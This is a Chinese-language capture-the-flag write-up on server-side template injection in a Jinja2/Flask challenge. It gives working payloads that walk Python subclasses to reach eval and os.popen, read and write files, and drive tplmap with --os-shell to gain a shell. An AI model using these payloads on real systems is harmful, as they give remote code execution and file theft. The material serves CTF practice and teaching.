刷完SSRF、XSS,来学学SSTI
首先测试出get的参数名为:name。
记得之前刷题时保存过一张大佬总结的测试流程图:
根据图片规则进行测试:
?name={{ 1*'4' }}
返回结果:4
则题目考察的很有可能是基于Jinja2的flask框架。
payload:
使用popen函数:
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
或者使用open函数直接打开文件:
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read() }} // 读文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('./1.py').write() }} // 写文件
当然,我们也可以使用tplmap扫描工具获取flag:
工具下载地址:
git clone https://github.com/epinna/tplmap
执行以下命令获取可使用的权限
python tplmap.py -u 'http://64153a9f-d2f7-464a-a1b7-b399f16a6cd6.challenge.ctf.show:8080/?name=1'
权限:
添加 --os-shell 参数运行:
得到flag:
这题添加了过滤,tplmap工具显示无法注入。
但直接注还是可以的。
payload:
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
这次之前的payload都不管用了
SSTI (服务器模板注入)
SSTI/沙盒逃逸详细总结